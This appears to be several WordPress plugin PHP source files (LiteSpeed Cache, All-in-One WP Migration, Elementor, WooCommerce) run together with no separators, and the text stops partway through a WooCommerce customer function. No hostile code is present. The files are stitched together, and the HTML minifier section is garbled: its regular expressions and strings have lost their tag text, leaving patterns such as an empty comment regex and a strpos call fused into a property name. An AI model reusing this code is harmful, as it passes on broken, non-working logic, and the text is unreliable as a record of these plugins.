/** * The page health * * * @since 3.0 * @package LiteSpeed * @subpackage LiteSpeed/src * @author LiteSpeed Technologies */ namespace LiteSpeed; defined('WPINC') || exit(); class Health extends Base { const TYPE_SPEED = 'speed'; const TYPE_SCORE = 'score'; protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $this->_summary = self::get_summary(); } /** * Test latest speed * * @since 3.0 */ private function _ping($type) { $data = array('action' => $type); $json = Cloud::post(Cloud::SVC_HEALTH, $data, 600); if (empty($json['data']['before']) || empty($json['data']['after'])) { Debug2::debug('[Health] ❌ no data'); return false; } $this->_summary[$type . '.before'] = $json['data']['before']; $this->_summary[$type . '.after'] = $json['data']['after']; self::save_summary(); Debug2::debug('[Health] saved result'); } /** * Generate scores * * @since 3.0 */ public function scores() { $speed_before = $speed_after = $speed_improved = 0; if (!empty($this->_summary['speed.before']) && !empty($this->_summary['speed.after'])) { // Format loading time $speed_before = $this->_summary['speed.before'] / 1000; if ($speed_before < 0.01) { $speed_before = 0.01; } $speed_before = number_format($speed_before, 2); $speed_after = $this->_summary['speed.after'] / 1000; if ($speed_after < 0.01) { $speed_after = number_format($speed_after, 3); } else { $speed_after = number_format($speed_after, 2); } $speed_improved = (($this->_summary['speed.before'] - $this->_summary['speed.after']) * 100) / $this->_summary['speed.before']; if ($speed_improved > 99) { $speed_improved = number_format($speed_improved, 2); } else { $speed_improved = number_format($speed_improved); } } $score_before = $score_after = $score_improved = 0; if (!empty($this->_summary['score.before']) && !empty($this->_summary['score.after'])) { $score_before = $this->_summary['score.before']; $score_after = $this->_summary['score.after']; // Format Score $score_improved = (($score_after - $score_before) * 100) / $score_after; if ($score_improved > 99) { $score_improved = number_format($score_improved, 2); } else { $score_improved = number_format($score_improved); } } return array( 'speed_before' => $speed_before, 'speed_after' => $speed_after, 'speed_improved' => $speed_improved, 'score_before' => $score_before, 'score_after' => $score_after, 'score_improved' => $score_improved, ); } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_SPEED: case self::TYPE_SCORE: $this->_ping($type); break; default: break; } Admin::redirect(); } }/** * Compress HTML * * This is a heavy regex-based removal of whitespace, unnecessary comments and * tokens. IE conditional comments are preserved. There are also options to have * STYLE and SCRIPT blocks compressed by callback functions. * * A test suite is available. * * @package Minify * @author Stephen Clay */ namespace LiteSpeed\Lib ; defined( 'WPINC' ) || exit ; class HTML_MIN { /** * @var string */ protected $_html = ''; /** * @var boolean */ protected $_jsCleanComments = true; protected $_skipComments = array(); /** * "Minify" an HTML page * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. * * @return string */ public static function minify($html, $options = array()) { $min = new self($html, $options); return $min->process(); } /** * Create a minifier object * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'jsCleanComments' : (optional) whether to remove HTML comments beginning and end of script block * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. */ public function __construct($html, $options = array()) { $this->_html = str_replace("\r\n", "\n", trim($html)); if (isset($options['xhtml'])) { $this->_isXhtml = (bool)$options['xhtml']; } if (isset($options['cssMinifier'])) { $this->_cssMinifier = $options['cssMinifier']; } if (isset($options['jsMinifier'])) { $this->_jsMinifier = $options['jsMinifier']; } if (isset($options['jsCleanComments'])) { $this->_jsCleanComments = (bool)$options['jsCleanComments']; } if (isset($options['skipComments'])) { $this->_skipComments = $options['skipComments']; } } /** * Minify the markeup given in the constructor * * @return string */ public function process() { if ($this->_isXhtml === null) { $this->_isXhtml = (false !== strpos($this->_html, '_replacementHash = 'MINIFYHTML' . md5($_SERVER['REQUEST_TIME']); $this->_placeholders = array(); // replace SCRIPTs (and minify) with placeholders $this->_html = preg_replace_callback( '/(\\s*)]*?>)([\\s\\S]*?)<\\/script>(\\s*)/i' ,array($this, '_removeScriptCB') ,$this->_html); // replace STYLEs (and minify) with placeholders $this->_html = preg_replace_callback( '/\\s*]*>)([\\s\\S]*?)<\\/style>\\s*/i' ,array($this, '_removeStyleCB') ,$this->_html); // remove HTML comments (not containing IE conditional comments). $this->_html = preg_replace_callback( '//' ,array($this, '_commentCB') ,$this->_html); // replace PREs with placeholders $this->_html = preg_replace_callback('/\\s*]*?>[\\s\\S]*?<\\/pre>)\\s*/i' ,array($this, '_removePreCB') ,$this->_html); // replace TEXTAREAs with placeholders $this->_html = preg_replace_callback( '/\\s*]*?>[\\s\\S]*?<\\/textarea>)\\s*/i' ,array($this, '_removeTextareaCB') ,$this->_html); // trim each line. // @todo take into account attribute values that span multiple lines. $this->_html = preg_replace('/^\\s+|\\s+$/m', '', $this->_html); // remove ws around block/undisplayed elements $this->_html = preg_replace('/\\s+(<\\/?(?:area|article|aside|base(?:font)?|blockquote|body' .'|canvas|caption|center|col(?:group)?|dd|dir|div|dl|dt|fieldset|figcaption|figure|footer|form' .'|frame(?:set)?|h[1-6]|head|header|hgroup|hr|html|legend|li|link|main|map|menu|meta|nav' .'|ol|opt(?:group|ion)|output|p|param|section|t(?:able|body|head|d|h||r|foot|itle)' .'|ul|video)\\b[^>]*>)/i', '$1', $this->_html); // remove ws outside of all elements $this->_html = preg_replace( '/>(\\s(?:\\s*))?([^<]+)(\\s(?:\s*))?$1$2$3<' ,$this->_html); // use newlines before 1st attribute in open tags (to limit line lengths) // $this->_html = preg_replace('/(<[a-z\\-]+)\\s+([^>]+>)/i', "$1\n$2", $this->_html); // fill placeholders $this->_html = str_replace( array_keys($this->_placeholders) ,array_values($this->_placeholders) ,$this->_html ); // issue 229: multi-pass to catch scripts that didn't get replaced in textareas $this->_html = str_replace( array_keys($this->_placeholders) ,array_values($this->_placeholders) ,$this->_html ); return $this->_html; } /** * From LSCWP 6.2: Changed the function to test for special comments that will be skipped. See: https://github.com/litespeedtech/lscache_wp/pull/622 */ protected function _commentCB($m) { // If is IE conditional comment return it. if(0 === strpos($m[1], '[') || false !== strpos($m[1], ' HTML Settings -> HTML Keep comments if(count($this->_skipComments) > 0){ foreach ($this->_skipComments as $comment) { if ($comment && strpos($m[1], $comment) !== false) { return $m[0]; } } } // Comment can be removed. return ''; } protected function _reservePlace($content) { $placeholder = '%' . $this->_replacementHash . count($this->_placeholders) . '%'; $this->_placeholders[$placeholder] = $content; return $placeholder; } protected $_isXhtml = null; protected $_replacementHash = null; protected $_placeholders = array(); protected $_cssMinifier = null; protected $_jsMinifier = null; protected function _removePreCB($m) { return $this->_reservePlace("_reservePlace("\\s*$)/', '', $css); // remove CDATA section markers $css = $this->_removeCdata($css); // minify $minifier = $this->_cssMinifier ? $this->_cssMinifier : 'trim'; $css = call_user_func($minifier, $css); return $this->_reservePlace($this->_needsCdata($css) ? "{$openStyle}/**/" : "{$openStyle}{$css}" ); } protected function _removeScriptCB($m) { $openScript = "_jsCleanComments) { $js = preg_replace('/(?:^\\s*\\s*$)/', '', $js); } // remove CDATA section markers $js = $this->_removeCdata($js); // minify /** * Added 2nd param by LiteSpeed * * @since 2.2.3 */ if ( $this->_jsMinifier ) { $js = call_user_func( $this->_jsMinifier, $js, trim( $m[ 2 ] ) ) ; } else { $js = trim( $js ) ; } return $this->_reservePlace($this->_needsCdata($js) ? "{$ws1}{$openScript}/**/{$ws2}" : "{$ws1}{$openScript}{$js}{$ws2}" ); } protected function _removeCdata($str) { return (false !== strpos($str, ''), '', $str) : $str; } protected function _needsCdata($str) { return ($this->_isXhtml && preg_match('/(?:[<&]|\\-\\-|\\]\\]>)/', $str)); } }/** * Copyright (C) 2014-2025 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * Attribution: This code is part of the All-in-One WP Migration plugin, developed by * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Export_Content { public static function execute( $params ) { // Set archive bytes offset if ( isset( $params['archive_bytes_offset'] ) ) { $archive_bytes_offset = (int) $params['archive_bytes_offset']; } else { $archive_bytes_offset = ai1wm_archive_bytes( $params ); } // Set file bytes offset if ( isset( $params['file_bytes_offset'] ) ) { $file_bytes_offset = (int) $params['file_bytes_offset']; } else { $file_bytes_offset = 0; } // Set content bytes offset if ( isset( $params['content_bytes_offset'] ) ) { $content_bytes_offset = (int) $params['content_bytes_offset']; } else { $content_bytes_offset = 0; } // Get processed files size if ( isset( $params['processed_files_size'] ) ) { $processed_files_size = (int) $params['processed_files_size']; } else { $processed_files_size = 0; } // Get total content files size if ( isset( $params['total_content_files_size'] ) ) { $total_content_files_size = (int) $params['total_content_files_size']; } else { $total_content_files_size = 1; } // Get total content files count if ( isset( $params['total_content_files_count'] ) ) { $total_content_files_count = (int) $params['total_content_files_count']; } else { $total_content_files_count = 1; } // What percent of files have we processed? $progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving %d content files...
%d%% complete', AI1WM_PLUGIN_NAME ), $total_content_files_count, $progress ) ); // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Get content list file $content_list = ai1wm_open( ai1wm_content_list_path( $params ), 'r' ); // Set the file pointer at the current index if ( fseek( $content_list, $content_bytes_offset ) !== -1 ) { // Open the archive file for writing $archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ) ); // Set the file pointer to the one that we have saved $archive->set_file_pointer( $archive_bytes_offset ); // Loop over files while ( list( $file_abspath, $file_relpath, $file_size, $file_mtime ) = ai1wm_getcsv( $content_list ) ) { $file_bytes_written = 0; // Add file to archive if ( ( $completed = $archive->add_file( $file_abspath, $file_relpath, $file_bytes_written, $file_bytes_offset ) ) ) { $file_bytes_offset = 0; // Get content bytes offset $content_bytes_offset = ftell( $content_list ); } // Increment processed files size $processed_files_size += $file_bytes_written; // What percent of files have we processed? $progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving %d content files...
%d%% complete', AI1WM_PLUGIN_NAME ), $total_content_files_count, $progress ) ); // More than 10 seconds have passed, break and do another request if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } // Get archive bytes offset $archive_bytes_offset = $archive->get_file_pointer(); // Truncate the archive file $archive->truncate(); // Close the archive file $archive->close(); } // End of the content list? if ( feof( $content_list ) ) { // Unset archive bytes offset unset( $params['archive_bytes_offset'] ); // Unset file bytes offset unset( $params['file_bytes_offset'] ); // Unset content bytes offset unset( $params['content_bytes_offset'] ); // Unset processed files size unset( $params['processed_files_size'] ); // Unset total content files size unset( $params['total_content_files_size'] ); // Unset total content files count unset( $params['total_content_files_count'] ); // Unset completed flag unset( $params['completed'] ); } else { // Set archive bytes offset $params['archive_bytes_offset'] = $archive_bytes_offset; // Set file bytes offset $params['file_bytes_offset'] = $file_bytes_offset; // Set content bytes offset $params['content_bytes_offset'] = $content_bytes_offset; // Set processed files size $params['processed_files_size'] = $processed_files_size; // Set total content files size $params['total_content_files_size'] = $total_content_files_size; // Set total content files count $params['total_content_files_count'] = $total_content_files_count; // Set completed flag $params['completed'] = $completed; } // Close the content list file ai1wm_close( $content_list ); return $params; } }declare (strict_types=1); namespace ElementorDeps\DI; use ElementorDeps\DI\Definition\ArrayDefinitionExtension; use ElementorDeps\DI\Definition\EnvironmentVariableDefinition; use ElementorDeps\DI\Definition\Helper\AutowireDefinitionHelper; use ElementorDeps\DI\Definition\Helper\CreateDefinitionHelper; use ElementorDeps\DI\Definition\Helper\FactoryDefinitionHelper; use ElementorDeps\DI\Definition\Reference; use ElementorDeps\DI\Definition\StringDefinition; use ElementorDeps\DI\Definition\ValueDefinition; if (!\function_exists('ElementorDeps\\DI\\value')) { /** * Helper for defining a value. * * @param mixed $value */ function value($value) : ValueDefinition { return new ValueDefinition($value); } } if (!\function_exists('ElementorDeps\\DI\\create')) { /** * Helper for defining an object. * * @param string|null $className Class name of the object. * If null, the name of the entry (in the container) will be used as class name. */ function create(string $className = null) : CreateDefinitionHelper { return new CreateDefinitionHelper($className); } } if (!\function_exists('ElementorDeps\\DI\\autowire')) { /** * Helper for autowiring an object. * * @param string|null $className Class name of the object. * If null, the name of the entry (in the container) will be used as class name. */ function autowire(string $className = null) : AutowireDefinitionHelper { return new AutowireDefinitionHelper($className); } } if (!\function_exists('ElementorDeps\\DI\\factory')) { /** * Helper for defining a container entry using a factory function/callable. * * @param callable $factory The factory is a callable that takes the container as parameter * and returns the value to register in the container. */ function factory($factory) : FactoryDefinitionHelper { return new FactoryDefinitionHelper($factory); } } if (!\function_exists('ElementorDeps\\DI\\decorate')) { /** * Decorate the previous definition using a callable. * * Example: * * 'foo' => decorate(function ($foo, $container) { * return new CachedFoo($foo, $container->get('cache')); * }) * * @param callable $callable The callable takes the decorated object as first parameter and * the container as second. */ function decorate($callable) : FactoryDefinitionHelper { return new FactoryDefinitionHelper($callable, \true); } } if (!\function_exists('ElementorDeps\\DI\\get')) { /** * Helper for referencing another container entry in an object definition. */ function get(string $entryName) : Reference { return new Reference($entryName); } } if (!\function_exists('ElementorDeps\\DI\\env')) { /** * Helper for referencing environment variables. * * @param string $variableName The name of the environment variable. * @param mixed $defaultValue The default value to be used if the environment variable is not defined. */ function env(string $variableName, $defaultValue = null) : EnvironmentVariableDefinition { // Only mark as optional if the default value was *explicitly* provided. $isOptional = 2 === \func_num_args(); return new EnvironmentVariableDefinition($variableName, $isOptional, $defaultValue); } } if (!\function_exists('ElementorDeps\\DI\\add')) { /** * Helper for extending another definition. * * Example: * * 'log.backends' => DI\add(DI\get('My\Custom\LogBackend')) * * or: * * 'log.backends' => DI\add([ * DI\get('My\Custom\LogBackend') * ]) * * @param mixed|array $values A value or an array of values to add to the array. * * @since 5.0 */ function add($values) : ArrayDefinitionExtension { if (!\is_array($values)) { $values = [$values]; } return new ArrayDefinitionExtension($values); } } if (!\function_exists('ElementorDeps\\DI\\string')) { /** * Helper for concatenating strings. * * Example: * * 'log.filename' => DI\string('{app.path}/app.log') * * @param string $expression A string expression. Use the `{}` placeholders to reference other container entries. * * @since 5.0 */ function string(string $expression) : StringDefinition { return new StringDefinition($expression); } }namespace Automattic\WooCommerce\StoreApi\Schemas\V1; /** * ImageAttachmentSchema class. */ class ImageAttachmentSchema extends AbstractSchema { /** * The schema item name. * * @var string */ protected $title = 'image'; /** * The schema item identifier. * * @var string */ const IDENTIFIER = 'image'; /** * Product schema properties. * * @return array */ public function get_properties() { return [ 'id' => [ 'description' => __( 'Image ID.', 'woocommerce' ), 'type' => 'integer', 'context' => [ 'view', 'edit' ], ], 'src' => [ 'description' => __( 'Full size image URL.', 'woocommerce' ), 'type' => 'string', 'format' => 'uri', 'context' => [ 'view', 'edit' ], ], 'thumbnail' => [ 'description' => __( 'Thumbnail URL.', 'woocommerce' ), 'type' => 'string', 'format' => 'uri', 'context' => [ 'view', 'edit' ], ], 'srcset' => [ 'description' => __( 'Thumbnail srcset for responsive images.', 'woocommerce' ), 'type' => 'string', 'context' => [ 'view', 'edit' ], ], 'sizes' => [ 'description' => __( 'Thumbnail sizes for responsive images.', 'woocommerce' ), 'type' => 'string', 'context' => [ 'view', 'edit' ], ], 'name' => [ 'description' => __( 'Image name.', 'woocommerce' ), 'type' => 'string', 'context' => [ 'view', 'edit' ], ], 'alt' => [ 'description' => __( 'Image alternative text.', 'woocommerce' ), 'type' => 'string', 'context' => [ 'view', 'edit' ], ], ]; } /** * Convert a WooCommerce product into an object suitable for the response. * * @param int $attachment_id Image attachment ID. * @return array|null */ public function get_item_response( $attachment_id ) { if ( ! $attachment_id ) { return null; } $attachment = wp_get_attachment_image_src( $attachment_id, 'full' ); if ( ! is_array( $attachment ) ) { return []; } $thumbnail = wp_get_attachment_image_src( $attachment_id, 'woocommerce_thumbnail' ); return [ 'id' => (int) $attachment_id, 'src' => current( $attachment ), 'thumbnail' => current( $thumbnail ), 'srcset' => (string) wp_get_attachment_image_srcset( $attachment_id, 'full' ), 'sizes' => (string) wp_get_attachment_image_sizes( $attachment_id, 'full' ), 'name' => get_the_title( $attachment_id ), 'alt' => get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ), ]; } }namespace Automattic\WooCommerce\StoreApi\Routes\V1; use Automattic\WooCommerce\StoreApi\Exceptions\RouteException; /** * CartAddItem class. */ class CartAddItem extends AbstractCartRoute { /** * The route identifier. * * @var string */ const IDENTIFIER = 'cart-add-item'; /** * Get the path of this REST route. * * @return string */ public function get_path() { return '/cart/add-item'; } /** * Get method arguments for this REST route. * * @return array An array of endpoints. */ public function get_args() { return [ [ 'methods' => \WP_REST_Server::CREATABLE, 'callback' => [ $this, 'get_response' ], 'permission_callback' => '__return_true', 'args' => [ 'id' => [ 'description' => __( 'The cart item product or variation ID.', 'woocommerce' ), 'type' => 'integer', 'context' => [ 'view', 'edit' ], 'sanitize_callback' => 'absint', ], 'quantity' => [ 'description' => __( 'Quantity of this item to add to the cart.', 'woocommerce' ), 'type' => 'integer', 'context' => [ 'view', 'edit' ], 'arg_options' => [ 'sanitize_callback' => 'wc_stock_amount', ], ], 'variation' => [ 'description' => __( 'Chosen attributes (for variations).', 'woocommerce' ), 'type' => 'array', 'context' => [ 'view', 'edit' ], 'items' => [ 'type' => 'object', 'properties' => [ 'attribute' => [ 'description' => __( 'Variation attribute name.', 'woocommerce' ), 'type' => 'string', 'context' => [ 'view', 'edit' ], ], 'value' => [ 'description' => __( 'Variation attribute value.', 'woocommerce' ), 'type' => 'string', 'context' => [ 'view', 'edit' ], ], ], ], ], ], ], 'schema' => [ $this->schema, 'get_public_item_schema' ], 'allow_batch' => [ 'v1' => true ], ]; } /** * Handle the request and return a valid response for this endpoint. * * @throws RouteException On error. * @param \WP_REST_Request $request Request object. * @return \WP_REST_Response */ protected function get_route_post_response( \WP_REST_Request $request ) { // Do not allow key to be specified during creation. if ( ! empty( $request['key'] ) ) { throw new RouteException( 'woocommerce_rest_cart_item_exists', __( 'Cannot create an existing cart item.', 'woocommerce' ), 400 ); } $cart = $this->cart_controller->get_cart_instance(); /** * Filters cart item data sent via the API before it is passed to the cart controller. * * This hook filters cart items. It allows the request data to be changed, for example, quantity, or * supplemental cart item data, before it is passed into CartController::add_to_cart and stored to session. * * CartController::add_to_cart only expects the keys id, quantity, variation, and cart_item_data, so other values * may be ignored. CartController::add_to_cart (and core) do already have a filter hook called * woocommerce_add_cart_item, but this does not have access to the original Store API request like this hook does. * * @param array $customer_data An array of customer (user) data. * @return array */ $add_to_cart_data = apply_filters( 'woocommerce_store_api_add_to_cart_data', array( 'id' => $request['id'], 'quantity' => $request['quantity'], 'variation' => $request['variation'], 'cart_item_data' => [], ), $request ); $this->cart_controller->add_to_cart( $add_to_cart_data ); $response = rest_ensure_response( $this->schema->get_item_response( $cart ) ); $response->set_status( 201 ); return $response; } }/** * Helper functions for interacting with the Store API. * * This file is autoloaded via composer.json. */ use Automattic\WooCommerce\StoreApi\StoreApi; use Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema; if ( ! function_exists( 'woocommerce_store_api_register_endpoint_data' ) ) { /** * Register endpoint data under a specified namespace. * * @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::register_endpoint_data() * * @param array $args Args to pass to register_endpoint_data. * @returns boolean|\WP_Error True on success, WP_Error on fail. */ function woocommerce_store_api_register_endpoint_data( $args ) { try { $extend = StoreApi::container()->get( ExtendSchema::class ); $extend->register_endpoint_data( $args ); } catch ( \Exception $error ) { return new \WP_Error( 'error', $error->getMessage() ); } return true; } } if ( ! function_exists( 'woocommerce_store_api_register_update_callback' ) ) { /** * Add callback functions that can be executed by the cart/extensions endpoint. * * @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::register_update_callback() * * @param array $args Args to pass to register_update_callback. * @returns boolean|\WP_Error True on success, WP_Error on fail. */ function woocommerce_store_api_register_update_callback( $args ) { try { $extend = StoreApi::container()->get( ExtendSchema::class ); $extend->register_update_callback( $args ); } catch ( \Exception $error ) { return new \WP_Error( 'error', $error->getMessage() ); } return true; } } if ( ! function_exists( 'woocommerce_store_api_register_payment_requirements' ) ) { /** * Registers and validates payment requirements callbacks. * * @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::register_payment_requirements() * * @param array $args Args to pass to register_payment_requirements. * @returns boolean|\WP_Error True on success, WP_Error on fail. */ function woocommerce_store_api_register_payment_requirements( $args ) { try { $extend = StoreApi::container()->get( ExtendSchema::class ); $extend->register_payment_requirements( $args ); } catch ( \Exception $error ) { return new \WP_Error( 'error', $error->getMessage() ); } return true; } } if ( ! function_exists( 'woocommerce_store_api_get_formatter' ) ) { /** * Returns a formatter instance. * * @see Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema::get_formatter() * * @param string $name Formatter name. * @return Automattic\WooCommerce\StoreApi\Formatters\FormatterInterface */ function woocommerce_store_api_get_formatter( $name ) { return StoreApi::container()->get( ExtendSchema::class )->get_formatter( $name ); } }/** * WooCommerce Customer Functions * * Functions for customers. * * @package WooCommerce\Functions * @version 2.2.0 */ use Automattic\WooCommerce\Internal\DataStores\Orders\OrdersTableDataStore; use Automattic\WooCommerce\Utilities\OrderUtil; defined( 'ABSPATH' ) || exit; /** * Prevent any user who cannot 'edit_posts' (subscribers, customers etc) from seeing the admin bar. * * Note: get_option( 'woocommerce_lock_down_admin', true ) is a deprecated option here for backwards compatibility. Defaults to true. * * @param bool $show_admin_bar If should display admin bar. * @return bool */ function wc_disable_admin_bar( $show_admin_bar ) { if ( apply_filters( 'woocommerce_disable_admin_bar', true ) && ! ( current_user_can( 'edit_posts' ) || current_user_can( 'manage_woocommerce' ) ) ) { $show_admin_bar = false; } return $show_admin_bar; } add_filter( 'show_admin_bar', 'wc_disable_admin_bar', 10, 1 ); // phpcs:ignore WordPress.VIP.AdminBarRemoval.RemovalDetected if ( ! function_exists( 'wc_create_new_customer' ) ) { /** * Create a new customer. * * @param string $email Customer email. * @param string $username Customer username. * @param string $password Customer password. * @param array $args List of arguments to pass to `wp_insert_user()`. * @return int|WP_Error Returns WP_Error on failure, Int (user ID) on success. */ function wc_create_new_customer( $email, $username = '', $password = '', $args = array() ) { if ( empty( $email ) || ! is_email( $email ) ) { return new WP_Error( 'registration-error-invalid-email', __( 'Please provide a valid email address.', 'woocommerce' ) ); } if ( email_exists( $email ) ) { return new WP_Error( 'registration-error-email-exists', apply_filters( 'woocommerce_registration_error_email_exists', __( 'An account is already registered with your email address. Please log in.', 'woocommerce' ), $email ) ); } if ( 'yes' === get_option( 'woocommerce_registration_generate_username', 'yes' ) && empty( $username ) ) { $username = wc_create_new_customer_username( $email, $args ); } $username = sanitize_user( $username ); if ( empty( $username ) || ! validate_username( $username ) ) { return new WP_Error( 'registration-error-invalid-username', __( 'Please enter a valid account username.', 'woocommerce' ) ); } if ( username_exists( $username ) ) { return new WP_Error( 'registration-error-username-exists', __( 'An account is already registered with that username. Please choose another.', 'woocommerce' ) ); } // Handle password creation. $password_generated = false; if ( 'yes' === get_option( 'woocommerce_registration_generate_password' ) && empty( $password ) ) { $password = wp_generate_password(); $password_generated = true; } if ( empty( $password ) ) { return new WP_Error( 'registration-error-missing-password', __( 'Please enter an account password.', 'woocommerce' ) ); } // Use WP_Error to handle registration errors. $errors = new WP_Error(); do_action( 'woocommerce_register_post', $username, $email, $errors ); $errors = apply_filters( 'woocommerce_registration_errors', $errors, $username, $email ); if ( $errors->get_error_code() ) { return $errors; } $new_customer_data = apply_filters( 'woocommerce_new_customer_data', array_merge( $args, array( 'user_login' => $username, 'user_pass' => $password, 'user_email' => $email, 'role' => 'customer', ) ) ); $customer_id = wp_insert_user( $new_customer_data ); if ( is_wp_error( $customer_id ) ) { return $customer_id; } do_action( 'woocommerce_created_customer', $customer_id, $new_customer_data, $password_generated ); return $customer_id; } } /** * Create a unique username for a new customer. * * @since 3.6.0 * @param string $email New customer email address. * @param array $new_user_args Array of new user args, maybe including first and last names. * @param string $suffix Append string to username to make it unique. * @return string Generated username. */ function wc_create_new_customer_username( $email, $new_user_args = array(), $suffix = '' ) { $username_parts = array(); if ( isset( $new_user_args['first_name'] ) ) { $username_parts[] = sanitize_user( $new_user_args['first_name'], true ); } if ( isset( $new_user_args['last_name'] ) ) { $username_parts[] = sanitize_user( $new_user_args['last_name'], true ); } // Remove empty parts. $username_parts = array_filter( $username_parts ); // If there are no parts, e.g. name had unicode chars, or was not provided, fallback to email. if ( empty( $username_parts ) ) { $email_parts = explode( '@', $email ); $email_username = $email_parts[0]; // Exclude common prefixes. if ( in_array( $email_username, array( 'sales', 'hello', 'mail', 'contact', 'info', ), true ) ) { // Get the domain part. $email_username = $email_parts[1]; } $username_parts[] = sanitize_user( $email_username, true ); } $username = wc_strtolower( implode( '.', $username_parts ) ); if ( $suffix ) { $username .= $suffix; } /** * WordPress 4.4 - filters the list of blocked usernames. * * @since 3.7.0 * @param array $usernames Array of blocked usernames. */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); // Stop illegal logins and generate a new random username. if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) { $new_args = array(); /** * Filter generated customer username. * * @since 3.7.0 * @param string $username Generated username. * @param string $email New customer email address. * @param array $new_user_args Array of new user args, maybe including first and last names. * @param string $suffix Append string to username to make it unique. */ $new_args['first_name'] = apply_filters( 'woocommerce_generated_customer_username', 'woo_user_' . zeroise( wp_rand( 0, 9999 ), 4 ), $email, $new_user_args, $suffix ); return wc_create_new_customer_username( $email, $new_args, $suffix ); } if ( username_exists( $username ) ) { // Generate something unique to append to the username in case of a conflict with another user. $suffix = '-' . zeroise( wp_rand( 0, 9999 ), 4 ); return wc_create_new_customer_username( $email, $new_user_args, $suffix ); } /** * Filter new customer username. * * @since 3.7.0 * @param string $username Customer username. * @param string $email New customer email address. * @param array $new_user_args Array of new user args, maybe including first and last names. * @param string $suffix Append string to username to make it unique. */ return apply_filters( 'woocommerce_new_customer_username', $username, $email, $new_user_args, $suffix ); } /** * Login a customer (set auth cookie and set global user object). * * @param int $customer_id Customer ID. */ function wc_set_customer_auth_cookie( $customer_id ) { wp_set_current_user( $customer_id ); wp_set_auth_cookie( $customer_id, true ); // Update session. WC()->session->init_session_cookie(); } /** * Get past orders (by email) and update them. * * @param int $customer_id Customer ID. * @return int */ function wc_update_new_customer_past_orders( $customer_id ) { $linked = 0; $complete = 0; $customer = get_user_by( 'id', absint( $customer_id ) ); $customer_orders = wc_get_orders( array( 'limit' => -1, 'customer' => array( array( 0, $customer->user_email ) ), 'return' => 'ids', ) ); if ( ! empty( $customer_orders ) ) { foreach ( $customer_orders as $order_id ) { $order = wc_get_order( $order_id ); if ( ! $order ) { continue; } $order->set_customer_id( $customer->ID ); $order->save(); if ( $order->has_downloadable_item() ) { $data_store = WC_Data_Store::load( 'customer-download' ); $data_store->delete_by_order_id( $order->get_id() ); wc_downloadable_product_permissions( $order->get_id(), true ); } do_action( 'woocommerce_update_new_customer_past_order', $order_id, $customer ); if ( $order->get_status() === 'wc-completed' ) { $complete++; } $linked++; } } if ( $complete ) { update_user_meta( $customer_id, 'paying_customer', 1 ); update_user_meta( $customer_id, '_order_count', '' ); update_user_meta( $customer_id, '_money_spent', '' ); delete_user_meta( $customer_id, '_last_order' ); } return $linked; } /** * Order payment completed - This is a paying customer. * * @param int $order_id Order ID. */ function wc_paying_customer( $order_id ) { $order = wc_get_order( $order_id ); $customer_id = $order->get_customer_id(); if ( $customer_id > 0 && 'shop_order_refund' !== $order->get_type() ) { $customer = new WC_Customer( $customer_id ); if ( ! $customer->get_is_paying_customer() ) { $customer->set_is_paying_customer( true ); $customer->save(); } } } add_action( 'woocommerce_payment_complete', 'wc_paying_customer' ); add_action( 'woocommerce_order_status_completed', 'wc_paying_customer' ); /** * Checks if a user (by email or ID or both) has bought an item. * * @param string $customer_email Customer email to check. * @param int $user_id User ID to check. * @param int $product_id Product ID to check. * @return bool */ function wc_customer_bought_product( $customer_email, $user_id, $product_id ) { global $wpdb; $result = apply_filters( 'woocommerce_pre_customer_bought_product', null, $customer_email, $user_id, $product_id ); if ( null !== $result ) { return $result; } $transient_name = 'wc_customer_bought_product_' . md5( $customer_email . $user_id ); $transient_version = WC_Cache_Helper::get_transient_version( 'orders' ); $transient_value = get_transient( $transient_name ); if ( isset( $transient_value['value'], $transient_value['version'] ) && $transient_value['version'] === $transient_version ) { $result = 